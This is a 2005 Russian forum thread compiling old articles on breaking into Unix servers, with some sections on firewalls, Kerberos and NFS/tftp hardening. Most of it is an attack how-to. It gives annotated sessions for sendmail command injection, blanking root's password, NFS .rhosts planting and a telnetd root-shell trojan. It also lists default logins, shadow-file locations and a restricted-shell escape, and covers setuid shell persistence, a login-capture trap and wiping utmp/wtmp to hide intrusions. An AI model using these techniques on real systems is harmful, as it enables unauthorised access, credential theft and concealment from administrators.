Взлом Unix а

Discussion in 'Безопасность и Анонимность' started by silveran, 21 Dec 2005.

  1. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    Всё собрал Фараон

    Основные методы получения несанкционированного доступа к Unix через сеть
    Борьба с возможностью анализа содержания IP-пакетов
    Заключение


    Повышение интереса к TCP/IP сетям обусловлено бурным ростом сети Internet. Однако это заставляет задуматься над тем, как защитить свои информационные ресурсы и компьютеры от различного рода злоумышленников. Для того, чтобы разработать реально действующие контрмеры, необходимо знать способы и методы взломщиков. В мировом сообществе Internet уже давно ведется дискуссия о том публиковать или не публиковать материалы о методах проникновения в чужие компьютерные сети. После жарких обсуждений, похоже, была осознана необходимость полной открытости по этому вопросу. Статья основана на опыте администрирования сети при постоянных попытках взлома и методических указаниях CERT.

    Задача данной статьи состоит в том, чтобы обратить внимание администраторов сетей, подключенных к Internet, на очевидные бреши в системе безопасности наиболее популярных систем. Кроме примеров взломов и возможных дыр, постараемся кратко описать основные средства борьбы с этим неизбежным злом. Учитывая тот факт, что большинство серверов на сети используют операционную систему Unix, обзор возможных прорех в системе безопасности имеет смысл начать именно с этой ОС.

    Основные методы получения несанкционированного доступа к Unix через сеть
    Начать обзор следует с возможности взлома через электронную почту. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработанная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix-систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля (Пример 1).

    ПРИМЕР 1
    crack% telnet target.remote.com 25 Connecting to 123.456.654.321. ! соединяемся по порту 25 - это SMTP 220 sendmail SMI/4.3.5.2 ready ! версия, которая как известно, содержит ошибку. helo xxx 220 Helo xxx, ( crack.edu ) mail from: |echo crack.edu/[email protected] ! подставляем команду вместо обратного адреса. 200 Sender ok. rcpt to: nosuchuser ! вводим заранее неправильного адресата 500 nosuchuser: user unknown ! несмотря на сообщение, продолжаем диалог. data 230 Enter mail, end with . 200 Mail accepted ! все, машина взломана.... quit crack% su ! А теперь залезаем так, чтобы нас не было видно через who # rsh target.remote.com /bin/csh -i Welcome to remote.com! Warning! No access to terminal, job control disabled! target#

    Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм. Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось (Пример 2).

    ПРИМЕР 2

    crack# su - bin $ rsh target.remote.com /bin/csh -i ! В файле /etc/hosts.equiv есть запись + и ошибка... Welcome to remote.com! ! Каталог /etc с владельцем bin... Warning! No access to terminal, job control disabled! % ls -ldg /etc drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/ % cd /etc ! Делаем passwd доступным на запись нам... % mv passwd passwd.was % cp passwd.was passwd ! Редактируем % ed passwd 2341 1p root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh s/Nkkh5gkljGyj//p root::0:0:Root:/:/bin/csh w 2341 q ! И в суперпользователя. %ECho /bin/csh -i | su root Warning! No access to terminal, job control disabled! target# mv /etc/passwd.was /etc/passwd ! Чтобы никто не обнаружил, что мы делали.

    Кроме электронной почты в TCP/IP сетях очень широко применяются различные виды распределенных файловых систем, самой популярной из которых является Network File System (NFS).

    В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация (Пример 3).

    ПРИМЕР 3

    crack% showmount -e target.remote.com Export list for target.remote.com /home Everyone /disk3 neptun pluton alpha ! Домашние каталоги доступны по NFS crack% su # mount -t nfs target.remote.com:/home /mnt # cd /mnt ! Монтируем каталог к нам # ls -ldg * drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/ # echo crack.edu user/.rhosts ! Устанавливаем .rhosts у пользователя # cat /etc/passwd user::257:20::/: ^D ! Создаем такого же у нас # su - user ! Становимся им $ rsh target.remote.com /bin/csh -i Warning! No access to terminal, job control disabled! ! И заходим на удаленную машину % id uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys) % ls -ldg /usr/etc ! Каталог доступен на запись drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc % grep telnet /etc/inetd.conf telnet stream nowait root /usr/etc/in.telnetd in.telnetd ! Нашли программу, которая запустится !под root"ом из нашего каталога % cd /usr/etc % mv in.telnetd in.telnetd1 ! создаем троянского коня % cat in.telnetd #!/bin/sh exec /bin/csh -i ^D % chmod 755 in.telnetd ! и запускаем его % telnet 127.1 Connecting 127.1. Warning! No access to terminal, job control disabled! # chown user /etc; ! Делаем /etc своим ^M: command not found # exit; ^M: command not found Connection closed by foreign host. % cd /etc ! и далее как раньше как в примере 1. .......

    Если на машине работает NIS-сервер и не принято дополнительных мер, то с помощью специальной программы можно утащить по сети файл passwd, общий для некоторого числа машин. В случае несоблюдения правил при создании паролей, есть довольно приличная вероятность, что программа crack подберет несколько. Дальнейшие события могут разворачиваться по одному из сценариев для получения полномочий суперпользователя (Пример 4) (после того, как вы зашли на удаленную машину как пользователь).
     
  2. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    ПРИМЕР 4

    ! проверяем на NIS сервер crack% rpcinfo -p target.remote.com | grep bind 120000 2 udp 2493 ypbind ! есть такой... crack% ypx -o target.passwd -g target.remote.com ! забираем файл паролей crack% crack target.passwd ! и запускаем подборщик паролей [ a lot of time ] OK, user user has password iamuser ! нашли, заходим crack% telnet target.remote.com ! далее как в предыдущем примере. .....

    Естественно, что если известны способы преодоления защиты, то должны быть разработаны и средства защиты. Для минимизации возможных попыток проникновения в сеть очень эффективен маршрутизатор, умеющий анализировать поток проходящей через него информации и осуществляющий фильтрацию пакетов. Эта возможность реализована практически во всех аппаратных маршрутизаторах (cisco, wellfleet...) и в виде специального ПО для Unix-машин (Sun, DEC, BSDI, FreeBSD).

    Такие маршрутизаторы позволяют осуществлять работу в сети строго по определенным правилам. Например, не пропускать из/в локальную сеть некоторые протоколы. Очень рекомендуется запрещать rlogin, rsh, RPC (см. Примеры), а также пакеты, направленные на порты 2048 и 2049, - это порты данных для NFS. Также рекомендуется четко определить машины, принимающие почту, и открыть порт 25 только для них. При необходимости возможна конфигурация, которая вообще запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри использовать любые TCP-сервисы глобальной сети. Подобный маршрутизатор или комбинация из нескольких машин и фильтрующих маршрутизаторов получили название брандмауэр (от англ. firewall - стена огня).

    Для установления полного контроля за всеми соединениями можно использовать так называемый программный брандмауэр (software firewall). Он представляет собой своеобразный маршрутизатор, который осуществляет контроль за соединениями не на уровне IP-пакетов, а на уровне собственно контролируемых протоколов.
    В этом случае режим прозрачной пересылки пакетов выключен, но вместо программ, обеспечивающих работу с необходимыми протоколами (telnet, ftp...), запускаются программы, которые транслируют эти протоколы в сеть по другую сторону машины, обычно сверившись по базе данных на предмет правомерности такого соединения и после идентификации пользователя.

    Для пользователя такой брандмауэр выглядит единственным окном во внешний мир. Например, если в сети для того, чтобы зайти по ftp на машину arch.kiae.su, вам надо набрать:
    % ftp arch.kiae.su Connected to arch.kiae.su Name: (arch.kiae.su: you) 230 Guest login ok, send ident as password Password: [email protected] 230 - Hello, [email protected] .....

    то в случае программного брандмауэра надо набирать:
    % ftp our-soft-firewall

    Name: (our-soft-firewall:user) [email protected]

    Password: XXXXXXX

    Connected to arch.kiae.su

    Name: (arch.kiae.su: ftp)

    230 Guest login ok, send ident as password

    Password: [email protected]

    230 - Hello, [email protected]

    .......
    Аналогично работают telnet, rlogin, X11 и т.д.
    Борьба с возможностью анализа содержания IP-пакетов
    Все рассмотренные выше примеры относятся к так называемым активным методам. Аккуратное администрирование системы легко сводит на нет все рассмотренные дырки, но совершенно бессильно в случае применения пассивной атаки. Что это такое? Самый распространенный, простой в исполнении способ - анализ информации, передаваемой по каналам связи, преимущественно по сети Ethernet.

    Основан он на свойстве этой сети, благодаря которому каждый передаваемый пакет может быть проанализирован любой машиной, подключенной на этот сегмент сети. При наличии достаточно быстрой машины с адаптером, разрешающим работу в режиме приема всех пакетов, можно легко извлекать такую информацию, как пароли пакетов NFS.
    Если на этом сегменте расположено несколько маршрутизаторов, то в наш фильтр попадут не только пароли нашей сети, но и те, которыми обмениваются маршрутизаторы. Таким образом, за сравнительно короткое время можно собрать коллекцию паролей на нескольких сотнях машин.

    Для борьбы с такими методами в конце 80-х годов была разработана система сетевой идентификации пользователя под названием Kerberos. Основной целью было полное исключение пересылки паролей по сети. Пользователь вводит пароль только один раз при регистрации в системе, после чего ему выделяется билет на несколько часов, который хранится в файле в зашифрованном виде.

    Этот билет содержит информацию о пользователе, время выдачи, адрес машины и случайно сгенерированный ключ для дальнейшего обмена идентификационной информацией. Первоначальным ключом служит пароль пользователя. Билет, выданный при входе в систему, используется для получения вторичных билетов, по которым может быть предоставлен какой-либо сетевой сервис.

    Со стороны сервера используется аналогичный механизм с той разницей, что в качестве пользователя выступает программа, обеспечивающая запрошенный вид услуги. Таким образом, программа пользователя и программа на сервере получают пару случайных ключей, с помощью которых они шифруют идентификационную информацию, прилагают к ней контрольные суммы и на этой основе удостоверяются в том, что они те, кем представились.
    После этого программа пользователя может получить доступ к сервису без запроса пароля. Без знания первоначальных ключей сеанс не состоится. Кроме того, полученная пара ключей может быть использована для шифрования всего сеанса работы по сети. Эта система имеет целый ряд недостатков. Во-первых, подразумевается четкое разделение машин на рабочие станции и серверы. В случае, если пользователь пожелает, зайдя на сервер, с помощью telnet зайти на другую машину, идентификация не сработает, так как пользователь имеет первоначальный билет только на той рабочей станции, где он вводил пароль.

    Иными словами, в Kerberos версии 4 полномочия пользователя не передаются на другие машины. Кроме того, требуется выделенная машина под сервер Kerberos, причем работающая в максимально секретных условиях, поскольку на ней содержится база данных, где содержатся все пароли пользователей. Kerberos версии 4 очень ограниченно применим в сети, где возможны ситуации, когда в силу ряда обстоятельств сервер Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудшение или обрыв связи и т.д.).
    Часть недостатков, перечисленных выше, ликвидирована в версии 5, но эта реализация запрещена к экспорту из США. По описанному алгоритму работают также системы Sphinx от DEC и NIS+ от Sun. Отличаются они применением различных алгоритмов шифрования, другого протокола передачи (RPC вместо UDP) и способов объединения административных доменов в иерархию.

    Заключение
    Кроме рассмотренных, существуют и другие, более изощренные, способы вторжения. Многие из них можно нейтрализовать простым аккуратным администрированием. По статистике большинство взломов осуществляется из-за халатности администраторов или персонала, эксплуатирующего систему. He откладывая в долгий ящик, проверьте перечисленные выше способы несанкционированного доступа - если удастся взломать ваш компьютер вам, то это могут сделать и другие.
     
  3. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    Отделённые ACCOUNT'ы.

    Это большая дыра в защите многих UNIX систем. В общем случае, если пользователь отсоединяется, предварительно не предупредив систему об окончании работы (LogOff), его Account может остаться на линии и тихо присоединившись к этой линии можно получить доступ к системе напрямую. Теперь если кто-то вызывает систему и присоединяется к этому tty, он автоматически оказывается внутри системы, и получает Account от предыдущего пользователя. Имеются некоторые интересные способы использования этого недостатка.

    Для примера если вы желаете получить пароли других пользователей, вы можете сделать и установить программу ловушку, эмулирующую login этой системы и отсоединится. Затем,какой-то пользователь подсоединяется к этому каналу, и в ответ на запрос вашей программы вводит свои username и password,программы ловушка запоминает полученные данные на диске, выдает сообщение "Login incorrect",убивает shell, и пользователь получает реальный запрос "login:"
    UID SHELLS.

    Когда бит 'UID' поставлен у программы - оболочки ( shell ), ее выполнение изменяет ваш user id на user id владельца этой программы, и вы будете использовать полученный acccount пока не выйдите из этой вторичной оболочки. Это дает вам возможность исполнять любые команды под user id полученного account'a. Это лучше, чем знание пароля для account'a, вы можете пользоваться account'ом пока существует этот файл в системе, даже если владелец сменит пароль. Обычно, когда получают доступ к account'у, делают копию shell в какой-то директорий, и ставят UID и GID биты. Теперь если доступ к этому account'у потерян, можно из другого запустить UID-shell и получить необходимый доступ.
    UID и GID биты ставятся программой chmod. Например:

    chmod 6555 /tmp/sh
    Изменение UID программ.

    Если вы имеете доступ по_записи (write access) к UID файлу,то можно легко превратить его в оболочку. Скопируйте файл, затем наберите:
    cat /bin/sh > [uid файл]
    Это заменит его содержимое на содержимое shell, но UID останется прежним. Теперь запустите замененную программу, сделайте скрытый UID shell, и верните UID файл в прежнее состояние из копии.

    Как найти рутовские файлы с suid ? Попробуйте:
    find / -user root -perm -6000 -print
    Срыв стека.

    Самая новомодная методика взлома UNIX. В программах написанных на языке С,под массивы отводится место в стеке программы. Если при работе с таким массивом происходит запись в массив за его границей, это приводит к разрушению стека программы и непредсказуемым результатам. Например при выходе из модуля происходит переход по случайному адресу.
    Переполнения стека приводит к изменению адреса возврата из функции и может быть использовано для изменения нормального хода выполнения программы. Логично было бы заставить программу выполнить какие-то незапланированные действия, например, запустить (spawn) shell. Но если в программе не содержится необходимого кода? Как поместить необходимый код в адресное пространство инструкций? Необходимо поместить код для выполнения в переполняемый буфер и переписать адрес возврата на точку внутри этого буфера.

    Код, при выполнении которого происходит запуск shell, получил название 'Shell Code'. Если программа, из которой происходит запуск shell проинсталлирована как suid root, то получается root shell.
    Пример программы, реализующей вышеописанные действия приводится в приложении 6.

    Поиск программ с возможностью срыва стека.
    Как было сказано выше, переполнения буфера происходят из-за помещения в него большего количества информации, чем предполагалось. Так как Язык C не имеет каких-либо встроенных средств для проверки границ массивов данных, переполнения часто встречаются. Стандартная библиотека С предоставляет ряд функций для копирования и конкантенации строк, и эти функции не имеют проверок границ. Вот некоторые из этих функций: strcat(), strcpy(), sprintf() и vsprintf(). Эти функции используют строки заканчивающиеся символом '\0' и не проверяют на переполнение при обработке принимаемой строки. gets() - это функция, которая считывает строку со стандартного ввода (stdin) в буфер до тех пор, пока не встретит символ новой строки или EOF. Эта функция не производит проверки на переполнение буфера. С семейством функций scanf() может возникнуть такая же ситуация, если в строке формата используется "%s" и принимающая строка недостаточно велика. Если принимающий массив какой-нибудь из этих функций представляет собой буфер постоянной длины и данные, его заполняющие каким-либо образом зависят от ввода или другой информации, зависящий от пользователя, то скорее всего вы можете вызвать ситуацию переполнения буфера.

    Другая, часто использующаяся при программировании конструкция, это цикл посимвольного ввода из stdin или другого файла в буфер до тех пор, пока не будет встречен символ конца строки (EOL), конца файла (EOF) или другой разделитель. В такой конструкции обычно используются функции getc(), fgetc(), или getchar(). Если при этом нет проверок на переполнение, то в таком коде тоже легко можно вызвать переполнение буфера.
    Программа grep играет значительную роль в поиске таких слабых мест в программах. Исходные тексты свободно распространяемых операционных систем вполне доступны. И этот факт становится весьма интересным, учитывая то, что многие коммерческие операционные системы базируются на исходных текстах свободно распространяемых систем. В общем,изучайте исходные тексты UNIX !
     
  4. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    Идентификационные номера и пароли по умолчанию в UNIX

    2003-01-01 00:00:00





    Login: Password
    root : root
    root : system
    sys : sys
    sys : system
    daemon : daemon
    uucp : uucp
    tty : tty
    test : test
    unix : unix
    unix : test
    bin : bin
    adm : adm
    adm : admin
    admin : adm
    admin : admin
    sysman : sysman
    sysman : sys
    sysman : system
    sysadmin : sysadmin
    sysadmin : sys
    sysadmin : system
    sysadmin : admin
    sysadmin : adm
    who : who
    learn : learn
    uuhost : uuhost
    guest : guest
    host : host
    nuucp : nuucp
    rje : rje
    games : games
    games : player
    sysop : sysop
    root : sysop
    demo : demo

    Идентификацилнные имена и пароли по умолчанию в VAX/VMS

    Login : Password
    SYSTEM : OPERATOR
    SYSTEM : MANAGER
    SYSTEM : SYSTEM
    SYSTEM : SYSLIB
    OPERATOR : OPERATOR
    SYSTEST : UETP
    SYSTEST : SYSTEST
    SYSTEST : TEST
    SYSMAINT : SYSMAINT
    SYSMAINT : SERVICE
    SYSMAINT : DIGITAL
    FIELD : FIELD
    FIELD : SERVICE
    GUEST : GUEST

    Ломаем провайдера (сервер под Unix)

    2003-01-01 00:00:00





    Статья, пpедлагаемая вашему вниманию, может оказаться полезной только в том случае, если ваш пpовайдеp использует опеpационную систему UNIX, имеющую shell-доступ.

    Если у вас нет UNIX-shell'a в сеpвеp пpовайдеpа, вы можете официально купить его или подобpать (только на слабо защищенных системах) паpоль (UNIX/UNIX; ROOT/ROOT; ADMIN/ADMIN; SHELL/SHELL; GUEST/GUEST и т.д.).Hа любом UNIXe (если не используется система специальной защиты) файл с паpолями находится в диpектоpии etc, в файле passwd.

    Файл, конечно, зашифpован и пpогpаммы для его обpатного декодиpования пpосто не существует, но есть дpугая возможность: кодиpовать слова (возможные паpоли) и сpавнивать получившийся кодиpованный ваpиант со всеми зашифpованными паpолями в файле passwd.

    Хакеpы создали пpогpаммы, делающие это автоматически, но для полноценной pаботы вам понадобится довольно быстpый компьютеp и хоpоший словаpь с возможными паpолями. Hа моей памяти самый полный словаpь занимал 10 мегабайт дискового пpостpанства и помог вскpыть более 200 паpолей пользователей известного pоссийского пpовайдеpа.

    Из всего, что я встpечал, самая лучшая пpогpамма для дешифpации паpоля под UNIX была Crack Алека Муфетта, а под DOS - CrackerJack. Hекотоpые пpовайдеpы используют систему скpытия паpолей, в этом случае вместо шифpованного паpоля можно будет увидеть что-то наподобии *, а настоящие шифpованные паpоли находятся в дpугом месте. Если вы имеете дело с таким пpовайдеpом, не pасстpаивайтесь, у вас все pавно есть шанс стать обладателем десяточка паpолей пользователей.

    Для начала попpобуйте поискать спpятанный файл с паpолями в следующих местах:

    /etc/security/passwd
    /tcb/auth/files//
    /tcb/files/auth/?/
    /etc/master.passwd
    /etc/shadpw
    /etc/shadow
    /etc/tcb/aa/user/
    /.secure/etc/passwd
    /etc/passwd[.dir|.pag]
    /etc/security/passwd.adjunct
    ##username
    /etc/shadow
    /etc/shadow
    /etc/security/* database
    /etc/auth[.dir|.pag]
    /etc/udb


    Hо может быть и так, что нужного pезультата от поиска в этих диpектоpиях вы не добьетесь. Тогда вам пpидется воспользоваться специально написанной пpогpаммой для отлова файла с паpолями. Эта пpогpамма, котоpая pаботает на многих системах (хотя не на всех).

    Пpогpамма называется getpwent (), ее исходник можно найти на сеpвеpе (www.spider.ru) в pубpике "ХАКЕРЫ". Еще одна возможная непpиятность связанная с дешифpацией файла с паpолями может случится тогда, когда вы откpоете файл passwd и увидите там что-то похожее на: +::0:0:::. Это говоpит о том, что в системе использована система NIS(Network Information Server)/YP (Yelow Pages).

    Если у вас возникла такая пpоблема, то вам будет необходимо воспользоваться командой "ypcat passwd" для пpосмотpа настоящего файла с паpолями. Если вам пpидется доставать файл с паpолями под VMS, то попpобуйте посмотpеть SYS$SYSTEM:SYSUAF.DAT. Для взлома паpолей под VMS вам надо воспользоваться пpогpаммой CHECK_PASSWORD или GUESS_PASSWORD, а если у вас есть навыки пpогpаммиpования, то вам будет не сложно написать пpогpамму, котоpая будет сpавнивать кодиpованные слова из вашего словаpя с паpолями из файла. Иногда для взлома пpовайдеpа тpебуется взломать огpаниченный shell-доступ.

    Для этого вам следует запустить пpогpамму vi и использовать эту команду: set shell=/bin/sh, после чего shell использует следующую команду :shell. И так, если вам удалось выудить несколько паpолей пользователей из passwd, то вам следует "замести следы". Это делается довольно пpосто, вам надо будет отpедактиpовать файлы /etc/utmp, /usr/adm/wtmp, /usr/adm/lastlog.

    Пpавда эти файлы написаны не откpытым текстом и pуками пpи помощи vi отpедактиpовать вам его не получится, пpидется воспользоваться специальной пpогpаммой, исходник котоpой вы можете найти на сеpвеpе www.spider.ru в pубpике "ХАКЕРЫ".

    !!! ВHИМАHИЕ !!!: Цель этой заметки - показать пpовайдеpам возможные недостатки их систем безопасности и пpивлечь их внимание к пpоблеме несанкциониpованного доступа. Автоp не несет ответственности за возможные последствия, вызванные твоpческим осмыслением данного матеpиала читателями.
     
  5. silveran

    silveran Фрикер

    Joined:
    2 May 2005
    Messages:
    771
    Likes Received:
    7
    Reputations:
    2
    Администратор сети просто не в состоянии надежно контролировать всю сеть в архитектуре клиент/сервер, что чревато несанкционированным доступом. Непродуманные действия еще больше усиливают эту опасность.
    Синди Куллен

    Заприте дверь на ключ
    Оставайтесь в команде
    Набор инструментов для взломщика
    Сохранение мира

    НЕИЗБЕЖНЫЕ ПОПУТЧИКИ
    Объезд супермагистрали

    ПРИ ПЛОХОЙ ЗАЩИТЕ ЭЛЕКТРОННУЮ ПОЧТУ СМОЖЕТ ПРОЧИТАТЬ КАЖДЫЙ
    Запечатайте электронную почту

    Многие организации в мире сегодняшнего бизнеса перестраивают свою деятельность в соответствии с моделью клиент/сервер, в том числе управление важной научной, финансовой и юридической информацией. Unix здесь - одна из основных операционных систем. В прошлом вычислительные мощности и данные располагались на одной системе и ее закрытость была гарантией безопасности данных. Однако в модели клиент/сервер и операционная система, и приложения используют при работе сеть. В этих системах безопасность сетевых приложений напрямую связана с безопасностью сети и систем в этой сети.

    Заприте дверь на ключ
    Вход в систему и пароль - это первая линия обороны в системе Unix. В файле паролей перечислены все пользователи с правом доступа в систему. В большинстве систем зашифрованный пароль хранится в файле паролей, доступном для чтения. Пред- полагается, что расшифровать пароль невозможно, но, тем не менее, открытость зашифрованного пароля делает систему уязвимой; пользователь может задать пароль, зашифровать его и сравнить зашифрованный результат с содержимым новой строки файла паролей.
    Большинство последних версий операционных систем Unix предполагают возможность использования скрытых файлов паролей. В них зашифрованный пароль помещается из файла паролей в файл, который доступен для чтения только для суперпользователей. Такая мера весьма эффективна.

    Одноразовый код доступа и механизм пароль/отзыв помогают сделать пароль еще более неуязвимым, так как пароли в этом случае действительны только на один сеанс. Если взломщик каким-либо образом узнал пароль, то войти в систему он сможет только один раз. Примерами подобных механизмов служат Defender компании Digital Pathways (Маунтейн-Вью, шт. Калифорния), SecurID компании Security Dynamics (Кэмбридж, шт. Миннесота) и S/Key компании Bellcore (Пискатавей, шт. Нью-Джерси).

    В сетях с высокой степенью секретности, например финансовых, весьма эффективно использование одного из механизмов ограничения доступа. Помните, что по статистике ФБР 85% взломов производится сотрудниками.

    Оставайтесь в команде
    Команда finger в чужих руках способна значительно облегчить взлом сети. У пользователя есть возможность выполнить данную команду без входа в систему и получить информацию о всех пользователях сети. Это небезопасно по многим причинам. Например, получив с помощью команды finger имена пользователей, номера комнат и номера телефонов, содержащиеся в файле паролей , взломщик может использовать их для регистрации под именем одного из пользователей, а также для взлома защиты системы в целом.
    Сетевые системы Unix подвергаются наибольшему риску из-за использования удаленных команд (r-команды), таких как rsh, rcp и rlogin. Эти команды дают пользователю возможность с правом доступа к нескольким системам установить доверительные отношения между этими системами. Причем пользователь получает доступ в систему без дальнейшей идентификации и аутентификации. Эти "доверительные" отношения определяются для пользователей в файлах. rhosts в домашних каталогах и для систем в конфигурационном файле удаленных команд /etc/host.equiv файл.

    К сожалению, многие производители предпочитают выпускать "дружественные для сети" разработки с целью увеличения легкости их использования. Один из способов - это включить символ (+) в файл /etc/host.equiv, что позволит любому человеку, работающему в локальной или глобальной сети, получить доступ к системе в качестве любого пользователя, даже в качестве суперпользователя (администратора).

    Вообще, "доверительные" отношения между сетями не рекомендуются. Однако многие организации используют их, чтобы упростить администрирование сети. А при таком положении дел важно, чтобы только небольшое подмножество систем находилось в "доверительных" отношениях друг с другом. Например, разрешить подобный доступ только с сервера к клиенту, но не с клиента к серверу и разрешить чтение файла rhosts только его владельцу.

    Network File System (NFS) и Network Information Service (NIS) позволяют упростить доступ к файлам и администрирование сети. (NIS носила раньше имя Yellow Pages, и многие команды отражают этот факт в своих названиях: ypwhich, ypcat и т. п.) NFS реализует механизм, благодаря которому доступ к файлам является прозрачным для пользователя вне зависимости от их местоположения. Файлы могут располагаться как на локальном диске, так и на файловом сервере локальной или глобальной сети. Для правильной работы NFS пользовательская и системная информация должны быть согласованы между используемыми системами. Согласованность обеспечивает NIS посредством централизованного копирования файлов конфигурации и паролей на сервер NIS. Это позволяет администратору изменять информацию непосредственно на NFS-сервере, причем изменения становятся доступны клиентам NIS.

    NFS внутренне уязвима, поскольку она базируется на выводах удаленных процедур. Удаленные вызовы процедур содержат идентифицирующую пользователя информацию (UID), но не имеют механизма определения наличия ограничений на использование ресурсов и того, что пользователь действительно является тем, за кого себя выдает. Таким образом, заинтересованное лицо может написать маскирующуюся под систему программу с тем, чтобы монтировать файловые системы или создавать, читать, модифицировать или удалять файлы напрямую.

    Для назначения систем, имеющих доступ к файловым системам на сети, можно использовать команды exportfs и файл /etc/exports. Некоторые производители выпускают системы с экспортом каталога /AND/USR во внешний мир. А стало быть, каждый пользователь этой сети может из любой точки монтировать такие файловые системы. Вообще, никакие файловые системы не должны экспортироваться во внешний мир и, везде, где только возможно, они должны экспортироваться только для чтение. Безусловно, рабочий каталог пользователя необходимо сделать доступным как для чтения, так и для записи.

    Команда exportfs без параметров выдает список экспортированных файлов. Команда showmount-a показывает, какие из экспортированных файлов смонтированы клиентами.

    Набор инструментов для взломщика
    Привилегии суперпользователя для клиента NIS должны жестко контролироваться. Когда пользователь входит в систему, NIS сначала проверяет локальный файл паролей и затем файл паролей NIS. Взломщику ничего не стоит использовать эту возможность, чтобы выдать себя за легитимного пользователя внутри NIS. Локальный пользователь с привилегиями суперпользователя может добавить UID другого пользователя, чтобы получить его привилегии.
    К примеру, ниже приведено содержимое NIS-пароля:

    vip: encrypted passwd: 23456:

    2002:Very Important Person:

    /u/vip:/bin/ksh
    Локальный суперпользователь может добавить ту же или аналогичную информацию в локальный файл паролей:
    vip:new encrypted passwd:

    23456:2002: Very Important

    Person:/u/vip:/bin/ksh
    или
    cdc:encrypted passwd:23456:2002

    :fictitious information:/u/vip

    :/bin/ksh
    Заметим, что идентификатор пользователя/идентификатор группы (23456) и групповой ID (2002) в этих строках один и тот же; именно он, а не входной идентификатор (VIP или CDC), контролирует доступ к файлам.
    Локальный суперпользователь может затем войти как VIP или CDC и получить доступ ко всем файлам на /U/VIP/ или может просто зарегистрироваться как пользователь через команду SU CDC. У суперпользователя появляется возможность создавать, читать, модифицировать или удалять файлы. Этот тип нарушения доступа особенно трудно установить, поскольку локальный суперпользователь контролирует файлы регистрации использования ресурсов и доступа к защищенным данным в системе. Замести все следы доступа - относительно простая задача.

    Клиенты и серверы NFS не осуществляют проверку аутентичности друг друга. Следовательно, клиент может стать сервером при помощи команды ypserve или создать клиента при помощи команды ypbind. Клиенты NIS связываются при включении с первым ответившим сервером. Ложный сервер обычно и отвечает первым. Сервер NFS позволяет любой системе стать клиентом. Эти вопросы безопасности разрешены в новой версии NIS, названной NIS+. Однако функции безопасности NFS+ частично не блокируются при взаимодействии с NIS.

    Тривиальный протокол передачи файлов (tftp) и протокол передачи файлов (ftp) применяются для перемещения файлов из одной системы в другую, а ftp - это фундаментальный ресурс Internet (см. "Объезд супермагистрали" о дополнительной информации по защите вашей сети от доступа из Internet). Tftp особенно уязвим, поскольку разрешает передачу файлов без контроля прав доступа. Он наиболее часто используется с Bootstrap Protocol (BOOTP) для распространения конфигурационных файлов на бездисковые рабочие станции, X-терминалы и элементы сети, например на маршрутизаторы. Tftp следует дезактивировать, даже когда в этом нет явной необходимости. Чтобы ограничить область уязвимости, установите tftp в каталог chroot. Chroot разрешает доступ только к файлам в этом каталоге и подкаталогам. Также ограничьте использование tftp локальной сетью.

    Чтобы протестировать надежность защиты конфигурации tftp, выполните следующие команды:

    # tftp <systemname>

    tftp> get /etc/passwd test

    tftp> quite
    Проверьте, содержит ли файл test реальный файл паролей для системного имени. Если это так, то tftp не защищен.
    Группа Computer Emergency Response Team (CERT) обнаружила несколько уязвимых мест tftp. CERT была организована агентством DARPA для мониторинга компьютерной безопасности и попыток преодоления защиты. С ним можно связаться по адресу: [email protected].

    Конфигурация ftp часто осуществляется некорректно. Никто не должен входить в систему как суперпользователь ftp. Если поддерживается анонимный ftp, то все файлы в каталоге ftp, включая сам каталог, должны находиться в распоряжении суперпользователя (root). Если сконфигурирован анонимный ftp, то не создавайте каталог, открытый для чтения и записи. Эти открытые на запись каталоги часто используются для нелегального распространения программного обеспечения, а также для распространения вирусов.

    Simple Mail Transfer Protocol (SMTP) стал притчей во языцех с точки зрения уязвимости. SMTP часто выполняется как root (суперпользователь) или bin (другой привилегированный пользователь), и во многих организациях SMTP - единственная служба, к которой есть доступ из Internet. Это делает sendmail весьма привлекательной для выявления уязвимых мест системы.

    Так, несанкционированный доступ к системе можно получить при помощи команд wiz, debug и kill. Чтобы обнаружить "черный ход", введите команды:

    # telnet - name> 25

    wiz

    debug

    kill

    exit
    Если "черного хода" не существует, ответ на каждый ввод будет:
    500 Command unrecognized.
    Еще одна проблема - возможность замаскироваться с помощью агента передачи данных Unix sendmail под любого пользователя сети. Mail выглядит как законный пользователь. Электронная почта по протоколу SMTP посылается открытым текстом и может быть перехвачена или считана с сети. Поэтому не включайте никакую информацию, которую нельзя было бы написать на обычной почтовой карточке.
    Широкое распространение получили ныне некоторые системы электронной почты, обеспечивающие секретность данных. Pretty Good Privacy (PGP) и Privacy Enchanced Mail (PEM) - примеры безопасных версий электронной почты (см. "Запечатайте электронную почту"). Эти системы обеспечивают секретность содержимого сообщения на всем пути от отправителя до адресата.

